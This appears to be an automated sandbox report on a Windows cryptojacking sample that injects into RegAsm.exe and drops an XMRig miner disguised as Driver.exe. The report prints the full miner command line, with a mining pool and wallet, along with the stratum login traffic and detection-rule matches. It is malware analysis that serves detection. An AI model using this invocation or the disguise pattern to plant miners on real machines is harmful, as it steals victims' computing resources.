Source: global traffic	TCP traffic: 192.168.2.4:49744 -> 141.94.96.195:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 141.94.96.144:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.

Found strings related to Crypto-Mining

Source: Driver.exe	String found in binary or memory: stratum+tcp://
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: @cryptonight/0cn
Source: Driver.exe	String found in binary or memory: stratum+tcp://
Source: Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: XMRig 6.2.2

Source: kWYLtJ0Cn1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: kWYLtJ0Cn1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\9h4bqyhzw0\output.pdb source: kWYLtJ0Cn1.exe
Source:	Binary string: C:\9h4bqyhzw0\output.pdb. source: kWYLtJ0Cn1.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 01213286h	1_2_01212E1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 012113A9h	1_2_01211248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	1_2_0121059C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	1_2_01210CE0

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 141.94.96.195:3333
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 141.94.96.71:3333
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 141.94.96.144:3333

Source: Joe Sandbox View	IP Address: 141.94.96.195 141.94.96.195
Source: Joe Sandbox View	IP Address: 141.94.96.71 141.94.96.71
Source: Joe Sandbox View	IP Address: 141.94.96.144 141.94.96.144

Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese
Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese
Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: pool.supportxmr.com

Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, Driver.exe.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Driver.exe, 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Driver.exe, 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Driver.exe, 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, Driver.exe, 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.kWYLtJ0Cn1.exe.ffcbc0.1.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0.2.kWYLtJ0Cn1.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: Driver.exe PID: 7476, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: Driver.exe PID: 4336, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process Stats: CPU usage > 49%
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: 0_2_00FD86EF	0_2_00FD86EF
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Code function: 0_2_00FD25F2	0_2_00FD25F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_01217D68	1_2_01217D68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_012132F0	1_2_012132F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_01216F38	1_2_01216F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_012169E8	1_2_012169E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_012132E7	1_2_012132E7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe 8D6ABBA9B216172CFC64B8802DB0D20A1C634C96E1049F451EDDBA2363966BF0

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 444 -p 7476 -ip 7476

Source: kWYLtJ0Cn1.exe, 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilename0 vs kWYLtJ0Cn1.exe

Source: kWYLtJ0Cn1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.kWYLtJ0Cn1.exe.ffcbc0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner04 author = ditekSHen, description = Detects coinmining malware
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner04 author = ditekSHen, description = Detects coinmining malware
Source: 0.2.kWYLtJ0Cn1.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner04 author = ditekSHen, description = Detects coinmining malware
Source: 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: Driver.exe PID: 7476, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: Driver.exe PID: 4336, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.troj.expl.evad.mine.winEXE@29/2@1/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Sysfiles

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:1368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1244:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:4520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6564:120:WilError_03

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\2f0d5264-2d07-4e9b-ac40-d81c978b4e1c

Jump to behavior

Source: kWYLtJ0Cn1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: kWYLtJ0Cn1.exe

ReversingLabs: Detection: 50%

Source: Driver.exe

String found in binary or memory: r_id; jit_vmcnt=(vmcnt<s_waitcnt_value)?vmcnt:-1; if(vmcnt<s_waitcnt_value) s_waitcnt_value=vmcnt; done=true; } p=jit_emit_instruction(p,last_branch_target,jit_inst,jit_prefetch_vgpr_index,jit_vmcnt,batch_size); if(p-start_p>size_limit) { *(p++)=S_SETPC_B64_S1

Source: unknown	Process created: C:\Users\user\Desktop\kWYLtJ0Cn1.exe "C:\Users\user\Desktop\kWYLtJ0Cn1.exe"
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 444 -p 7476 -ip 7476
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7476 -s 764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 476 -p 7632 -ip 7632
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7632 -s 864
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 6272 -ip 6272
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6272 -s 864
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 444 -p 7476 -ip 7476	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7476 -s 764	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 476 -p 7632 -ip 7632	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7632 -s 864	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 6272 -ip 6272	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6272 -s 864	Jump to behavior

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
